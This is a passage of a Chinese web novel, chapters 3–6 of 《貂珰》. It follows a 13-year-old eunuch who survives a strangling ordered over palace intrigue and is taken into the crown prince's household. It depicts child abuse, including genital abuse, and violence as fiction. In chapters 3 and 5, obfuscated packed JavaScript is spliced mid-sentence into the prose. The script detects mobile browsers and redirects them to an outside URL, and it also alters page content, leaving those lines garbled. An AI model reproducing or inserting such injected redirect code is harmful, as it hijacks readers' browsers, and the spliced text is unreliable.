《貂珰》 3. 第三回 蓬莱殿内,佛案前,淑妃闭着双目,双手合拢,手上挂着一串星月菩提,正念念有词,殿外宫人传话,一路传进,殿内贴身的宫人上前,在淑妃身旁轻轻说了两句。 淑妃睁开眼,凤眼斜睨,“他自个儿作死,怎敢求到我这里来?” “娘娘,”宫人轻声道,“王满春算不得什么,只这事是太子发难,恐太子别有深意。” 淑妃良久不言,重闭上眼深深一拜后提裙起身,宫人连忙上前搀扶。 “你将此事前因后果,细细说与我听。” 淑妃这厢还在询问,内侍省里,王满春却是坐立不安,不住地在屋内来回踱步。 “师傅,我打听了,是瑞春的徒弟!” 小太监急跑进屋,忙向王满春禀告。 王满春先是一惊,随即重重地拍了下大腿,“他哪来的什么徒弟?又如何与太子牵扯上?” 这个问题,宫闱令也在思量,他上下打量卿云,忽地冷冷一笑,“狗奴才,你想诳本公公?” 卿云心中并非不怕,只是如今怕就是死,唯有硬挺着,心中既恨太子多管闲事,又想这未尝不是转机。 “听凤池是什么地方,公公您比我清楚,天底下哪有那么巧的事,我与福海刚在此间拉扯,太子便正好经过?” 宫闱令心中也正这般思量着,他是怎么也不信世上哪有这般巧事,玉荷宫的小太监,宫闱令也糊涂了,玉荷宫里还有太监当差?且正巧又是前些日子被杖杀的瑞春徒弟,怕不是太子当时便留了心? 宫闱令一时拿不定主意,只得先放了卿云在此,且看那王满春如何行事,不想真担了干系。 卿云被独留在牢房中,他今年不过也才十三岁,只剩下他一人时,面上也不禁露出惶然之色。 自卿云有记忆以来便在玉荷宫中当差,先前是位尺素姑姑一向管教着他,永平七年,皇帝大赦,放了一批宫人出去,尺素便在其中,之后瑞春便成了他师傅。 与尺素相比,瑞春待他倒不是那么严厉,只也不许他出玉荷宫半步,每每瑞春离去之时,便将宫门上锁,叫卿云和惠妃那个疯婆子被困在一处。 惠妃在前朝便早失了宠,家中父兄又不能审时度势,皇帝入京时多有抵抗,全都死在了永平元年。 惠妃无儿无女,疯疯癫癫,对卿云动辄打骂,卿云幼时难以抵挡,有一回险些被惠妃溺死在水缸里。 卿云百般哭求瑞春放他出玉荷宫,便是出去做个最低等的洒扫太监也比在这儿强,瑞春却是怎么都不肯。 玉荷宫常日里饭食短缺,卿云饥一顿饱一顿地逐渐长大,终于能和惠妃抗衡,惠妃打他,他便还手。 “疯妇,我操-你娘!” 卿云揪了惠妃的长发,惠妃一面尖叫,一面拿指甲抓卿云的胳膊,又去踹他的子孙根。 卿云常记得惠妃在他幼时喜欢揉捏他天残的那处,那尖指甲刮得他痛不欲生,如今总算能奋起反抗,恨不能将她一气打死。 可叹他天生羸弱,照理说哪怕是太监,毕竟生为男子,力气总胜过女子,卿云却不行,他总也打不过惠妃,常被惠妃踢打得四处逃窜。 兴许再长大一些,他能收拾得了那疯婆子,然而终是老天开眼,先叫那将他锁在冷宫的瑞春卷入夹带之中被杖杀。 前些日子,他正盘算着如何除掉惠妃那疯婆子,惠妃自个在玉荷宫里不知误食了什么,倒在那乱草中,口吐白沫,浑身不住抽搐。 卿云发现时,惠妃还有口气在,艰难“嗬嗬”出声,目露凄楚哀求之色,是在求卿云救她。 卿云环抱着饭食坐下。 “贱妇,你且去吧,你死后我也绝不替你收尸,叫你成个孤魂野鬼,来世不得托生。” 卿云笑声清脆,看着惠妃鼓睛暴眼,吐血而亡,吃得极为香甜,这是他十几年来吃得最香的一顿。 天可怜见,叫这些恶人一个个先死,卿云喜不自胜,再三拜过天爷,心里盘算着出了这冷宫,另谋差事,不说立时做出什么了不得的事业,总得先寻条出路,在宫中能混口饭吃。 卿云在玉荷宫里多番计较谋划,然他成日被困在玉荷宫里,瑞春也不大同他说宫中事,他知之不多,一时想不出什么好法子,倒是见了福海,心中才慢慢有了计划。 他原想以利换之,未曾想福海言语挑逗,对他满是轻浮,福海当他懵懂无知,他却是从小被惠妃那疯妇折磨,还有什么不明白的。 色字头上一把刀,既他不想活了,自己何不取而代之? 卿云想得容易,福海死了,他便有了机会,可想办法补他的缺,只没料到横杀出个太子,将他原本的计划全打乱了。 情急之下,卿云才将夹带之事喊了出来。 惠妃那疯妇除了喜欢责打他之外,也常自言自语说些前朝与那些嫔妃在宫中相斗之事,卿云耳濡目染,听了不少。 宫里太监是最下等的,两个小太监之间闹出这些丑事也只是小事,哪有谁会真给他们厘清什么是非对错,杀了干净就是,为今之计他只有拖越多人下水,将水搅得越浑才有一线生机。 瑞春出事之前已心有所感,那日反常地在玉荷宫与卿云说了好一会儿话。 “卿云,尺素将你托付于我,我也没什么本事,只能保你一时平安,你记住,在宫中行走,最紧要的便是小心谨慎,吃苦受罪都不打紧,只要保住了命,将来或有出宫的机会。” 卿云听罢,问道:“你得罪了人?” 瑞春苦笑。 “是谁?” 瑞春没有隐瞒,“内给事王满春,他是淑妃的人,淑妃是宫里最得宠的,”瑞春之所以全盘托出,非是要卿云为他报仇,他知卿云心中怨恨他,怕的是卿云不知天高地厚,枉送性命,“在这宫里,太监是最下贱的,底下没根,顶上无人,草芥一般,说没就没了,卿云,莫怪我,也莫怪命,什么都别怪,兴许有一日,皇恩浩荡,你和尺素一样,能出了这宫,重做回人。” 卿云记住了。 内给事王满春是淑妃的人,淑妃是宫里最得宠的。 太子是先皇后所生,淑妃所生的是齐王,齐王是皇长子,比太子只大三日。 王满春、淑妃、齐王、太子。 只能赌这一把。 卿云也不知自己在赌什么,他想起太子,太子说话和气,眉宇间自有一股端庄华贵之气,似是真愿为两个太监分辨是非。 卿云一时忘了先前他还在心中怨恨太子多管闲事,他方才狐假虎威,只能骗得过宫闱令一时,现只盼太子会遣人来问。 倘若太子真是端方君子,必会将此事管到底。 倘若太子不过表面仁厚,现下此事既牵扯到了淑妃,太子心中说不定也会别有计较,不会放过这个机会。 于情于理,卿云认为自己此次应当能苟活下去,他也只能这么认为,说不准,还能攀附上东宫……思及此,卿云便精神振奋起来,身上苦痛也减轻了不少。 * 蓬莱殿内外一片静穆,时有宫人出入,上前禀报。 宫人静静听了,不住颔首,随即转向内殿,“娘娘,王满春惶恐,求娘娘做主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969465|177769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 淑妃手卷了那串星月菩提,“今日两仪殿议事,我听闻太子和齐王又是意见相左。” 宫人道:“齐王和太子颇有分歧,皇上不置可否。” “他是兄长,理当相让,”淑妃细眉微蹙,“他总不肯听我的。” “齐王殿下心系国事,心无杂念,一切以国事为重。” “国事?那是皇上该挂心的。” 淑妃手扶了下额头,“罢了,你去办吧。” 宫人是淑妃身边的大宫女,陪在淑妃身边十来年,淑妃只一个眼神手势,她便心领神会,立即叫来个小太监一番吩咐,小太监不住点头,领命后向着内侍省狂奔而去。 “蓬莱殿里的小太监进了内侍省。” 李照人正立在书桌后,看他先前没看完的书卷,闻言轻一抬眼。 那一眼叫率更令头低得直埋到胸口,他硬着头皮道:“太子殿下,淑妃既已插手,您是否就算了。” 李照卷了书绕到书桌前,轻敲了下率更令的肩膀,“杨沛风,你倒懂权衡。” 杨沛风跪地道:“太子殿下明鉴,臣以为淑妃与夹带之事绝无关联,定是那些个犯了错的奴才,心中害怕,哀求旧主出手相助,此事宫中常有,杀不绝,灭不断,两个奴才罢了,太子您何苦趟那浑水?” “两个奴才闹起来不是什么大事,”蓬莱殿的小太监进了内侍省,亦是恭恭敬敬,他直接去见了内给事,“小太监嘴不把门,胡说八道,他随便胡咧咧两句,咱们就当个真事,那成日里便不用当差了,公公,您说是不是?” 王满春一听便喜上眉梢,“我明白了,你去回禀淑妃,多谢淑妃娘娘。” 小太监道:“这是内侍省的事,谢什么娘娘,娘娘只是派我来内侍省取些东西。” “是、是。” 王满春自是明白淑妃的意思,忙叫一旁的小太监封了金叶子给他,那小太监推脱一番后便收下离去。 王满春立即吩咐了人,他轻轻做了手抹脖子的动作,“要快。” 却说牢房里的卿云还在等着后话,忽听得脚步声,他精神一振,却见来的不是宫闱令,倒是个年龄瞧着比他大不了多少的小太监,心下顿时一凛,他手脚都僵硬紧张起来,再瞧那小太监从袖子里抖出一根麻绳,立时喝道:“你不要命了,敢对我下手,不怕太子杀你?!” 那小太监也是接了命令而来,宫闱令早已命其余人悄悄离去,只留两个人分别解决了福海和卿云。 那小太监也不多废话,上前直将麻绳绞在卿云脖子上绕了几圈,任凭卿云如何抖动挣扎,他都毫无动摇,人转到刑架子后头,双手缠紧了绳子,颤声道:“对不住,我也不想杀你,怪只怪你命不好,下辈子投个好胎,别进宫了。” “嗬——” 麻绳方一用力,卿云便觉喉咙处被绞死了,痛得他只想大喊,出声却是一丝两气的咳嗽,他手脚俱被绑得紧紧的,整个人贴在刑架上颤抖不已,眼前一阵眩晕光彩,他仿佛看到了惠妃和瑞春正得意洋洋地瞧着他。 不……他不想死…… 卿云痛苦地仰起头,他拼命地张开嘴想要呼救,却是连咳都咳不出,张嘴只有一条红艳艳的舌头不甘地抖颤,快要从他的喉咙里逃出生天。 “好大胆,竟敢明目张胆在内侍省里杀起人来了!” 小太监被一脚踹开,紧束在卿云脖上的麻绳失了力道,卿云的头立即坠了下去,来人连忙扶住他软绵绵的脑袋,手指在他鼻下一探,心下一沉,回头看向太子。 “殿下,人还活着。” 4.第四回 卿云哑了三日,第四日总算开口能言,声音却是粗哑难听,和从前判若两人。 “我何时能见到太子,当面谢恩?” “先不忙谢恩……把药喝了。” 长龄递上药碗,“太子事忙,暂且顾不得你。” 卿云捧起药碗,一气将那苦药饮尽,长龄笑道:“你小小年纪,倒不怕苦。” “在玉荷宫里什么苦都吃过,这又算得了什么,况且这是药,能治我的病,便是再苦,我也要喝。” 长龄微微一笑,道:“你是个懂事的。” 当日太子将昏迷中的卿云交给他照顾。 “长龄,待他醒了,你好生安抚,”太子轻叹了口气,“倒是我思虑不周,险些害了这小太监。” 福海在衙门里早已认了欺辱卿云,挨了三十杖,太子到时,人未死,却也只剩下了一口气。 卿云咬死的夹带之事,太子亲临内侍省,也没逼迫到底。 “人命关天,你们便是这样审案?草菅人命、凌辱弱小,这就是内侍省的规矩?人我带走了,剩下的你们自去肃清,别叫孤失望。” 当日,杨沛风与太子议事时,长龄正伺候在侧,杨沛风进言劝太子莫再插手此事时,太子正思索着,忽道“不好”。 “速去内侍省!” 原本只是两个太监之间闹出来的丑事,李照不愿见宫中太监受人欺凌,亦不愿真闹得满宫不宁,所以暗示下去,要他们只将事涉人命的案子好好查清便是。 可他的心意,他的人能明白,宫闱令细细揣摩之后应当也能把握好分寸,只是这王满春身负人命,惊惶之下竟去请了淑妃。 淑妃一向心思重,恐生误会,两个小太监便要没命了。 太子转念之间,当机立断去内侍省要人,怕率更令遇到阻拦与人纠缠,反误了事,干脆自身前往,千钧一发,才救下了那小太监,只可惜另一个小太监伤重不治,丢了性命,那小太监原也罪不至死。 莲花灯顺水而下,太子双手负于身后,静静地看着水中朵朵莲花远去。 祭祀祈福从早到晚足持续了四个时辰,放灯之后,众臣退下散去,皇帝另召了太子,父子二人在凤仪殿用了晚膳。 天边浓云密布,星月不显,皇帝与太子临门远望,道:“今日,朕瞧你似不安乐。” “儿臣思念母后。” 皇帝道:“你有孝心。” “父皇以天下百姓为念,儿臣有所不及。” “你也未尝不心怀良善。” 李照明白皇帝是在说前段日子内侍省的事。 他虽是太子,却也管不上内侍省的事,他亲临内侍省,插手内侍省审案,已是逾越了他太子的本分。 李照道:“儿臣不愿有无辜之人丢了性命。” 这厢皇帝与太子闲谈,那边蓬莱殿内淑妃也正与宫人商议,今日祭祀祈福,淑妃得见齐王,母子俩却没说上话,淑妃心系儿子,怕宫中事务影响了齐王,难免面露忧虑。 “娘娘放宽心,皇上嘴上不说,心里头还是不悦,今天祈福时,齐王放灯,皇上托了一把,太子放灯,皇上却没理会。” 宫人宽慰淑妃,淑妃却是依旧愁容不展,“我只怕皇上疑心宫中夹带是我在替那些奴才撑腰,从中得利。” “怎么会,娘娘您一向德行出众,皇上圣明,不会误会娘娘的。” 淑妃淡淡一笑,手指轻抚了下脖颈上的珍珠链子,“但愿,”她眸光下撇,“我听说太子把那小太监带回东宫了?” “是,进了东宫再没出来过。” “好,我就知道区区一个小太监哪来那么大的狗胆包天。” 宫人不敢应答。 淑妃手攥了星月菩提,今日先皇后忌辰,她身为宫妃之首,不可谓不尽心尽力,行礼诵经,一刻也不敢放松,她仰望了案上佛像,心中多少不平,只恨陈氏凋零,未及杨家势大,害她当年只得做妾,自己的儿子也当不上太子。 如今杨家也渐渐都退了,皇帝嫔妃不多,也不怎么热衷后宫,唯有太子、齐王,皇帝还未登基时便有的两个儿子。 这些年来,淑妃一直苦熬着,眼看齐王渐渐长大,能力出众,常替皇帝办事,皇帝也喜爱,早早便封了王,多加恩典,只是无论如何,这恩典就是不能再进一步。 淑妃心中气闷,却也无可奈何,只能在宫里处处小心周全,期盼能多得皇帝恩宠,也是为自己的儿子多一份助力。 今日,淑妃并不像宫人看到得那般,也不像她自己说得那般惶恐皇上会疑心。 若说先前淑妃心中还有一丝怀疑此事是太子发难,如今太子居然堂而皇之地将那小太监带回了东宫,淑妃便断定那小太监绝非受太子指使,如今只在宫人面前假作忧心罢了。 太子恃宠而骄,着实狂悖。 为了个小太监,竟如此行事,皇帝即便再宠爱太子,也会心有不快,一是太子僭越,二是太子过分仁厚,非帝王之相。 此刻淑妃表面忧愁,心里却是高兴的,她派人去内侍省本就是虚晃一枪,若太子不插手,两个小太监,杀了就杀了,碍不着什么,若太子当真插手,便是今日局面。 这一番心思,便是身边最信任的大宫女,淑妃也不会明说。 淑妃的心思,东宫幕僚们却是琢磨出了味道,太子一回东宫,詹事便立即迎了上去,“太子……” 李照看他的脸色便知道他要说什么,摆了摆手,径直略过了人,“明日再说。” 詹事无可奈何,只能垂手叹气。 为救一个小太监,惹出了那么多事,李照身处其中,却是泰然自若,沐浴之后叫来长龄,询问那小太监现下如何。 “身上都是些皮外伤,不打紧,养上十天半个月就能好全,就是那嗓子,”长卿轻声道,“太医说怕是好不了了。” 李照还记得那小太监的声音,清脆如莺啼,一双眼睛万般委屈千般不忿,竟敢直视着他,反问自己为何要受罚,李照淡淡一笑,“你好生照顾他,他也是个可怜人,日后就留在东宫了。” “是。” 长龄上前点香,李照躺在床上,眼前时时浮现那小太监的可怜相,忽而侧身,他也方才十八,除人人赞颂的沉稳之外,到底还有些少年心性,在伴着自己长大的贴身太监面前露了出来,“长龄。” “奴才在。” “那小太监如何?” “是个懂事的孩子。” “懂事?”李照莞尔,“我倒瞧他不大懂规矩。” 长龄也笑了,“是,他打小就在玉荷宫里伺候,他那师傅也不怎么教他规矩,是有些糊涂。” 李照道:“他连自称奴才都磕磕绊绊。” 长龄道:“ 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长龄连忙倒了茶过去,卿云像是渴极了,就着长龄的手饮下一杯茶,还是不够,眼巴巴地望着长龄,长龄失笑,忙找了个大碗喂他。 “饿了吧?” 长龄将食盒放在床边的小几,“我从膳房拿了些吃食,今日是先皇后忌辰,不动明火,都是些冷食,你将就吃一些。” “多谢公公。” 东宫的冷食也比玉荷宫平日里的饭食不知美味多少,卿云狼吞虎咽,吃得凶猛,长龄在一旁瞧着,有心指点,又想起太子所言,便不作声了。 这几日他照顾卿云,从旁瞧着这真是个极不懂规矩的小太监。 太监们打小训练有素,行走起卧都是一个模子里刻出来的,即便不在主子跟前,用膳也不会这般没遮没掩,像是八百辈子没吃过饭似的。 长龄知道像卿云这样在冷宫里当差的太监那是没什么好日子过的,也必定没吃过什么好东西,只是明日太子要见他,长龄还是不得不提点几句。 “慢点吃,”长龄温和道,“小心噎着。” 卿云应了一声,嘴仍然嚼得很快。 “太子殿下明日要见你。” 卿云嚼糕饼的动作忽然停下,他抬起头,一张巴掌大的小脸满是惊喜,大眼珠子里烛光摇曳,里头光彩迸发,似有万千欣悦,让人瞧着心里也跟着欢喜起来,长龄暗叹好眼,凭这一双眼睛,太子不会不宠他的,长龄轻声道:“在太子殿下面前可要懂规矩,”他面上带着笑,看了一眼卿云身上落下的糕饼屑,“可不能像现在这般,得稳重些。” 卿云等了许久,终于等到能够面见太子,心中一股强烈的兴奋袭来,他连手都抖了,放下糕饼,就去拉长龄的手,“长龄公公,但求您给句准话,太子殿下他是什么意思?” “什么什么意思?” 卿云紧紧攥着长龄的手,“太子殿下是要问我话吗?” “这……太子殿下召见你,自然是要问话的。” “那问完了呢?” 卿云面上现出惶恐之色,长龄这下终于明白了,他笑道:“问完了,就继续养伤,等你养好了,看太子殿下给你安排什么差事,你就好好留在东宫当差,这回你可是因祸得福啦。” 5.第五回 卿云睡在长龄房里,他受了伤,长龄怕碰到他的伤处,又想着要时时照顾他,便睡在他的脚边。 卿云睁着眼睛,心绪久久难平,一想到明日便要面见太子,他哪里能睡得着觉。 养伤的这几日,卿云身上虽难受,可过得却是他这辈子都没过过的舒坦日子。 从前在玉荷宫,卿云人事不知,皇宫的富贵荣华全在惠妃那疯妇嘴里,她说宫里的主子吃的用的是他这下贱小太监梦也梦不着的。 “皇上宠我的时候,我什么珍宝没见过,什么没吃过?只要我高兴,便是龙肝凤髓,我也吃得。” 卿云冷笑一声,“你既如此金贵,作甚还要抢我的?” 惠妃抱着从卿云那里抢来的饭食痴痴地笑,眼中满是哀怨痛苦,“皇上,您怎么就不宠臣妾了呢?” 每每卿云看到惠妃那种眼神神情,就知道她又要发疯了,只能赶紧找地方躲起来,玉荷宫里冷清,就是连家具都没几样,卿云没地方躲,只能咬牙跟那疯妇斗,豁出去,不被饿死,也不被那疯子折磨死,便是又熬过了一日。 “轰隆——” 一声雷响惊醒了长龄,他睁开眼,先摸了摸身边的人,再仰起头看向窗子,静坐了一会儿,听到哗哗的雨声后便笑了。 春雨下来了,是吉兆! 卿云躲在被窝里,斜睨着眼睛,冷眼看着长龄对着窗户微笑。 同是太监,这人可真是好命,在东宫居然有自己独院的大屋子,太子可真够宠他的。 长龄不在时,卿云将长龄这间屋子里外打量了一遍,他常年待在玉荷宫里,压根就不知道除了玉荷宫以外的皇宫到底是怎样的富贵,也没见过什么好东西,也不懂得分辨,只知道长龄的床铺是软的,饭食想什么时候吃就什么时候吃,想吃多少就吃多少,壶里倒出来的就是茶。 这种日子,怕是连他师傅瑞春也过不上。 卿云又羡慕又嫉妒,更叫他觉得奇怪的是这最受太子宠爱的太监居然是个瘸子,走起路来不大显,不过也还是看得出。 太监不都要求四肢健全,怎么还会有瘸子? 长龄听了会儿雨,丹州干旱,京城今年春天雨水也少,今日先皇后忌辰,皇帝带着太子祈福,老天爷就降雨了,这可是天大的喜事。 长龄收回视线,替卿云掖了掖被子,他左转右转地看了卿云埋在被子里的小脸,见他闭着眼睛正在熟睡,便轻手轻脚地重又躺下。 长龄一躺下,卿云就睁开了眼,神情仍是冷冷的。 一个瘸子都能博得太子的宠爱,他难道不能吗? * 天蒙蒙亮时,长龄就先起了身,他虽是太子最看重的太监,却不必时时贴身服侍,每日也不用早起,他今日早起,是为了卿云。 轻手轻脚地下了床,长龄自个去外头洗漱了,再回到屋里叫醒卿云。 “太子马上就要上朝去了,咱们得先预备着,等殿下下朝之后,我带你过去,只是得委屈你,伤还没好全,需先忍忍,在太子面前可千万别露了形状。” 长龄一面交代一面扶着卿云起身。 在东宫挨的那五杖虽没伤了筋骨,却也非同小可,卿云被打得皮开肉绽,连平躺也不能,这几日都是趴着歇息,他借了长龄的力道下床,头上已是出了许多汗,“是,长龄公公,我懂得。” “你明白事理就好。” 长龄让卿云双手抱了床柱,替他脱了衣裳裤子,绞了热水帮他擦拭,热帕子沾到身上伤处,卿云立时抖了起来,好疼。 “咱们太子殿下是宫里第一等仁厚的主子,你只要听话懂事,以后在东宫好好伺候,不知强过你在玉荷宫里多少倍。” 卿云双手死死地抱着床柱,疼得额上汗如雨下,说话的声音也发抖了,“是,我一定好好伺候。” 长龄也心疼,只是没法子,太子要见人,总得打理一番,若是身上味道重了,太子见了不喜,吃亏的也还是卿云。 长龄又换了块帕子替卿云擦脸,“你不惜豁出命为师傅出头,太子怜你忠义,亲自去内侍省把你救了出来,这是你的福报,也是你的福气。” 卿云含糊地又应了声是。 长龄拿了一旁一套全新的低等太监服饰帮卿云换上,又帮卿云挽了头发,从头到脚检查了一遍,这才满意点头,对卿云笑了笑,“放心,太子殿下喜欢你。” 卿云扶着床柱,对长龄笑了笑,他不大笑,更不大会“好好”地笑,脸上硬挤出来笑,长龄以为他是害疼,掏了帕子神情爱怜地替卿云擦了擦脸上的汗,“别怕。” 卿云低下头,不想叫长龄看出他此刻的紧张来。 退朝的时间到了,长龄让卿云现在这里等着,他得过去瞧瞧太子那有没有什么正事,现在想不想见卿云。 为了以防万一,卿云从天蒙蒙亮起就不进水米,免得身上沾了臭气,太子会不喜。 等待的时间比卿云想象得还要漫长,他不敢坐,一是身上有伤,二是怕身上簇新的太监服起了褶皱,扶着桌边站了不知多久,卿云脸上身上都又出了许多汗,嘴唇亦是干渴难忍,手边就有茶,卿云舔了舔嘴唇,忍着没喝,否则万一要出恭,又是一番折腾。 如此一直等了不知多久,卿云扶着桌子的手都泛白了,才终于听到外头匆匆的脚步声,他连忙迈前一步,情不自禁地呼唤道:“长龄公公。” “诶——” 长龄在屋外听见了卿云微弱的呼唤声,忙加快脚步跑进屋内,进来却是一句噩耗,“太子今日恐怕见不了你了。” 卿云脸上瞬间露出了哭相。 长龄见状,上前先搀扶了他,把他往床上扶,宽慰道:“不是太子不想见你,是太子事忙,现在还没回东宫,还在两仪殿议事呢,八成是要留在那用膳了。” 长龄扶着卿云到了床边趴下,卿云又饿又疼地等了这么久,却等来一个太子事忙的消息,不禁心中又气又委屈,趴在床上不说话。 长龄见他如此,有心想要说他两句,却又不忍。 宫里的太监那都是调教好了的,主子要见你已经是给你脸面了,如今主子事忙,一个小小奴才哪来的脾气还要使小性子? 长龄立在一旁,片刻之后到底还是忍不住,“你这委屈样在我面前做做倒也罢了,到了太子跟前,可千万别这样,太子不喜欢。” “太子还会见我吗?” 长龄没料到卿云竟还会顶嘴,不仅顶嘴,还抬眼幽怨地看向他,“太子不见我,又怎么会喜欢我?” 长龄性子一贯柔和,他在东宫诸多太监当中地位超然,旁的宫人从不敢在他面前造次,便是东宫的臣子们也要给他三分薄面,况且能拨到东宫使唤的太监那都是第一等的聪明伶俐,不是伶俐人,就踏不进东宫这个门,长龄在东宫从未见过像面前这小太监一般的奴才。 “卿云,”长龄语调更软,“你身上难受,我能谅解你,这番话,你说过也就罢了,再不许说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977634|177769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二遍,否则……”长龄顿了顿,狠下心,知道若不如此,卿云在太子面前犯了忌讳,倒霉的还是卿云,“……我就回禀太子,不留你在东宫了。” 卿云果然不说话了,他转过脸,把脸埋在袖子里,他身形单薄,比一般十三岁的小太监瞧着似乎还要幼小许多,像片没生气的叶子般在床铺上轻轻抖动着。 长龄叹了口气,蹲下身,在卿云耳边轻轻道:“好了,别使性子了,我知道你是个懂事的孩子,太子既说了会见你,就一定会见你,即便太子现在不见你,以后你留在东宫伺候,还怕没见到太子的机会,讨太子的欢心吗?” 卿云猛地抬起脸,苍白小脸上已有了泪痕,长龄不禁噗嗤一笑,掏了帕子帮他擦脸,“哭什么,这还是咱们为了师傅不要命的小卿云吗?” 卿云没料到长龄会将他的心思看穿,他也实在是傻,他如此盼着见太子,言语当中亦不作粉饰,长龄再不济,也是跟了太子多年的太监,哪会瞧不出自己这点小心思? 到底还是自己道行太浅,卿云心里明白,面上也只能强自露出笑容,“我就是怕……” “怕什么?”长龄柔声道,“你进了东宫,就什么都不用怕了,以后没人会再欺负你。” “瞧你嘴干的,先趴着吧,我去给你倒水,再去膳房给你拿点吃的,你想吃什么?” “多谢长龄公公,我不敢挑剔,有什么,随便对付一口就行,东宫的饭食都好。” “你呀。” 长龄替卿云卸了发髻,帮他散了头发,又摸了摸他的头顶,“还是孩子心性。” 卿云心中五味杂陈,既有对自己方才耐不住性子的懊恼,亦有对长龄的警惕,长龄对他这般殷勤,无非是太子吩咐下来,他对他好,也是在讨好太子,说不准还想着邀买人心,惠妃那个疯婆子人是疯癫,说得许多道理却是真的,宫里头没有真心,越是笑脸盈盈的,越要小心提防。 卿云喝了水趴在床上等,一颗心飘浮在半空中,仍是惴惴不安,打小尺素就对他管教严厉,不是教他规矩,而是不许他出玉荷宫,不许他放肆,不许他违抗惠妃……瑞春比尺素好些,也就仅仅只是好些。 宫里的规矩,如何为人处世,这些从没人教过卿云,卿云能真正学到的就是惠妃发疯时说的前朝宫事。 前朝的太监可不像如今的太监,那个时候太监可风光了,有权有钱有兵,内宦之乱于当今皇上是需要剿灭的祸患,在卿云心中,却是无限向往,若他有一天能像惠妃说的前朝大太监那样风光,可当真是死而无憾了。 万幸逃出了玉荷宫,转脚就踏入了东宫,太子……卿云回忆那日见到的太子身着杏黄常服,腰间束带上玉环透亮,那玉一看就是价值连城的好宝贝。 卿云神情恍惚,眉头微蹙,一双大眼睛迷离地看着床头,仿若那床头也变成了宝贝,落到了他手里。 然而肚子里咕噜噜的叫声打破了他的美梦。 卿云在玉荷宫也时常挨饿,却也没练出挨饿的本事,不仅如此,他还尤其怕饿,这两年他稍长些,能从惠妃手里抢食了,更不愿磨炼挨饿的本事。 一想到自己又饿又疼地等了一上午却是空欢喜一场,卿云就不禁悲从中来,趴在袖子上又止不住地落泪,恨惠妃,恨长龄,也恨太子。 “哭什么?” 听到声音时,卿云一时没反应过来,他仍怔怔地将脸埋在臂间,又听那温润的声音含笑道:“难不成是长龄欺负你了?” 6.第六回 长龄这间屋子在东宫侧殿旁,离太子的承恩殿不过一盏茶的距离,这是太子的恩宠,午后日头正厉害,太子仍是身着杏黄色常服,腰间玉环却是和当日卿云所见的又有所不同,那通身的清贵之气在这下人屋里倒显得更盛。 “长龄说你伤了嗓子,”李照和颜悦色道,“是说不出话?” 卿云脑海中一片空白,当日的急智烟消云散,只定定地看着太子,疑心是梦。 李照看他傻愣愣的模样,和那日倔强回嘴的样子又不同,那双敢直勾勾盯着他看的眼睛倒是没变,他不多问,先环视了四周,他也是头一回到宫人的居所,比他想象中的要简陋许多,他赏赐长龄的那些物件,长龄都没摆上。 “太子殿下……” 李照回头,见卿云满脸泪的喃喃模样,淡笑道:“原来你能说话,那你倒是说说,为何哭得这般伤心?” 卿云心乱如麻,完全没料到事忙没空见他的李照会亲自到长龄屋里,长龄受宠如此,叫他不由心惊,又更懊悔方才在长龄面前露了行迹,他慌忙想下床行礼,李照见他趴着,也知他受伤未好,伸手拦了拦,“不必行礼。” 卿云受了长龄的教导,哪能真的不行礼,挣扎着要下床,李照见状,只能直接按住了卿云拼命想拱下床的肩膀,“孤说不必行礼,”李照看着卿云睁大的眼睛,怜爱之余也不由好笑,“你受了伤,就趴着吧,你还没说为什么哭?” 卿云被他大手按住肩膀,眼中迅速盈满了泪水,“我以为……太子你不会见我了……”他一面说,一面又扑簌簌地掉泪,一半出自真心,一半是学的惠妃所说的在宫中的“争宠之道”。 李照笑道:“孤不见你,你就要哭?你那日在孤面前,可不是这般软弱的性子。” 卿云一时不知该如何辩解,想长龄说过太子是怜他忠义,忙道:“多谢太子殿下为师傅做主。” 李照脸上笑容淡了,“你师傅也是可怜人。” “太子殿下——” 长龄提着饭食回来,看到外头两排宫人侍卫,便知李照屈尊亲临,连忙进来跪下行礼。 “一个两个都急着行礼做什么,”李照看了一眼长龄手里的食盒,又回头看向卿云,“倒是我耽误你们用膳了。” “不,太子殿下……” 卿云着急忙慌地要解释,被李照压了下肩膀。 “那你们就先用膳吧,”李照放开手,经过长龄身边时也拍了下长龄的肩膀,“用完膳来内殿见我。” 李照大步流星地向前走去,甩了下袖子,“带上他——” 长龄跪在地上应了一声,等李照的身影彻底走远后才缓缓站起,他看向卿云,卿云面上还残留着不可思议如坠梦中的神情,长龄这才笑了,端着托盘上前道:“你好大的脸面,太子竟亲自来瞧你了。” 卿云梦游一般看向长龄,“太子他……” 长龄放下托盘,“我现下倒不敢做你的主了,你说,你是用了膳去见太子,还是赶紧重新洗漱,立刻去见太子?” 卿云不假思索道:“洗漱。” 长龄微微一笑,“我就知道你是懂事的。” 卿云心下又是一紧,不知道自己这般作态是不是又着了长龄的眼,只是此刻他也顾不上那些,凡事有轻重,讨好太子最要紧,现下长龄怎么想,只能先往后靠。 两人又是一番折腾,长龄扶着卿云出了门,到了东宫也第五日了,卿云这才第一天真正见到东宫的模样。 瑞春死后,卿云就算半个自由人了,他曾推开玉荷宫的门出去,只是脚方一迈出去,又觉得害怕,外头的天地到底是什么模样,是尺素姑姑说的比玉荷宫可怕百倍,还是惠妃说的金尊玉贵,人间仙境? 